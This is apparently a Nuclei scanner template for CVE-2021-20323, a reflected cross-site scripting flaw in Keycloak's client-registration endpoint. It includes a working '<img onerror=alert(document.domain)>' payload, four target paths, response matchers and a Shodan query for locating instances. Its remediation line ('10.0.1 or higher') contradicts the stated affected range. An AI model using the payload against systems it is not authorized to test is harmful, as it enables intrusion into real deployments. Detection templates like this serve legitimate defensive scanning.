65 lines
2.5 KiB
YAML
65 lines
2.5 KiB
YAML
id: CVE-2021-20323
|
|
|
|
info:
|
|
name: Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting
|
|
author: ndmalc
|
|
severity: medium
|
|
description: |
|
|
Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
|
|
remediation: |
|
|
Upgrade Keycloak to a version that is not affected by the vulnerability (10.0.1 or higher).
|
|
reference:
|
|
- https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
|
|
- https://bugzilla.redhat.com/show_bug.cgi?id=2013577
|
|
- https://access.redhat.com/security/cve/CVE-2021-20323
|
|
- https://github.com/ndmalc/CVE-2021-20323
|
|
- https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-20323
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-20323
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00208
|
|
epss-percentile: 0.58626
|
|
cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 4
|
|
vendor: redhat
|
|
product: keycloak
|
|
shodan-query: html:"Keycloak"
|
|
tags: cve,cve2021,keycloak,xss
|
|
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/auth/realms/master/clients-registrations/default"
|
|
- "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"
|
|
- "{{BaseURL}}/realms/master/clients-registrations/default"
|
|
- "{{BaseURL}}/realms/master/clients-registrations/openid-connect"
|
|
|
|
body: "{\"Test<img src=x onerror=alert(document.domain)>\":1}"
|
|
stop-at-first-match: true
|
|
|
|
headers:
|
|
Content-Type: application/json
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 400
|
|
|
|
# digest: 490a00463044022023697f99c804e0e59274d659a9bb043d0be2ebf4135d667b8d2f004f401e41e9022003f96e92ce4d6ab164903c6610a7b6d3d0149a804bbe6b4e2909ef5846cca186:922c64590222798bb761d5b6d8e72950
|